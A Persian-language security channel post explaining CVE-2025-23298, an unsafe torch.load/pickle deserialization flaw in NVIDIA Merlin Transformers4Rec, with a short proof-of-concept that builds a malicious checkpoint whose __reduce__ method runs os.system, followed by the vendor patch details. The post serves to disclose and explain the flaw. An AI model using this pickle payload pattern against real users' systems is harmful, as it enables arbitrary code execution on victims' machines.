🔖 CVE-2025-23298: RCE در NVIDIA Merlin
📌 بهتازگی یک آسیبپذیری بحرانی در کتابخانه NVIDIA Merlin Transformers4Rec شناسایی شده است که امکان اجرای کد از راه دور (Remote Code Execution – RCE) با سطح دسترسی root را فراهم میکند.
این آسیبپذیری با شناسه CVE-2025-23298 رهگیری میشود و به deserialization ناامن دادهها هنگام بارگذاری مدلها مربوط است.❓
خب NVIDIA Merlin چیست؟ا ✍️ NVIDIA Merlin یک اکوسیستم Open Source برای ساخت High-Performance Recommendation Systems است.
ماژول Transformers4Rec که بخشی از این اکوسیستم محسوب میشود، برای استفاده از Transformer architectures مدرن در سیستمهای توصیهگر مبتنی بر Sequential Data و Session-based Recommendations طراحی شده است.
💢
ماهیت آسیبپذیریریشه آسیبپذیری در تابع زیر قرار دارد:
load_model_trainer_states_from_checkpoint
این تابع مسئول بازیابی (restore) وضعیت مدل است، اما بهصورت مستقیم از تابع torch.load() در PyTorch استفاده میکند، بدون اعمال هیچگونه security parameter.
تابع torch.load() بهطور داخلی از ماژول pickle در Python استفاده میکند؛ ماژولی که بهطور ذاتی برای پردازش دادههای غیرقابل اعتماد unsafe محسوب میشود.
ماژول pickle قادر است هر نوع Python object را serialize و deserialize کند؛ از جمله اشیایی که در زمان deserialization میتوانند کد دلخواه اجرا کنند.
این رفتار یک bug نیست، بلکه یک feature است، اما زمانی که فایلهای pickle غیرقابل اعتماد بارگذاری شوند، به یک آسیبپذیری امنیتی جدی تبدیل میشود.
💠
پیادهسازی فنی حملهبرای اثبات آسیبپذیری، یک malicious checkpoint file ساخته شده که در زمان load شدن، دستورات دلخواه سیستمعامل را اجرا میکند.
این exploit از متد
reduce در pickle استفاده میکند تا اجرای دستور را در فرآیند deserialization تحمیل کند.
زمانی که قربانی این فایل checkpoint را با تابع آسیبپذیر بارگذاری میکند:
تابع os.system بلافاصله اجرا میشود
این اجرا قبل از بارگذاری وزنهای مدل اتفاق میافتد
دلیل این رفتار آن است که pickle اشیاء را بهصورت ترتیبی deserialize میکند و object مخرب در زمان deserialize شدن model_state_dict فعال میشود.
⭕️ PoC
کد زیر یک فایل checkpoint مخرب ایجاد میکند:
import os
import pickle
import torch
class MaliciousObject:
def __reduce__(self):
return (os.system, (
'touch /tmp/pwned_by_zdi',))
# ایجاد شیء مخرب
malicious_object = MaliciousObject()
# ساخت model_state_dict شامل object مخرب
model_state_dict = {
'malicious': malicious_object
}
# ذخیره checkpoint مخرب
torch.save(model_state_dict, 'malicious_checkpoint.pt')
print("فایل مخرب 'malicious_checkpoint.pt' ایجاد شد.")
در صورت بارگذاری این فایل توسط تابع آسیبپذیر:
فایل /tmp/pwned_by_zdi ایجاد میشود
که نشاندهنده اجرای موفق کد دلخواه است
در مقاله اصلی، یک PoC از ZDI (Zero Day Initiative) ارائه شده است، اما به دلیل در دسترس نبودن اسکریپت در زمان نگارش، از آن استفاده نشده و exploit حاضر با تغییرات جزئی بازنویسی شده است
💢
رفع آسیبپذیریا ✍️ NVIDIA این آسیبپذیری را در commit b7eaea5 (PR #802) برطرف کرده است:
Security Bulletin رسمی:
https://nvidia.custhelp.com/app/answers/detail/a_id/5683/~/security-bulletin%3A-nvidia-merlin-transformers4rec---august-2025🔴 تغییرات اصلی Patch:
🔶 تغییر مکانیزم بارگذاری checkpoint
🔶 اضافه شدن validation اضافی روی Python serialized objects
🔶 حذف استفاده مستقیم از torch.load()
🔶 کتابخانه Transformers4Rec اکنون از ماژول
serialization.py استفاده میکند که:
🔶 ا deserialization را فقط به Approved Classes محدود میکند
🔶 یک Safe Loading Function با Type Checking پیادهسازی شده است
#آسیبپذیری
@TryHackBoxStory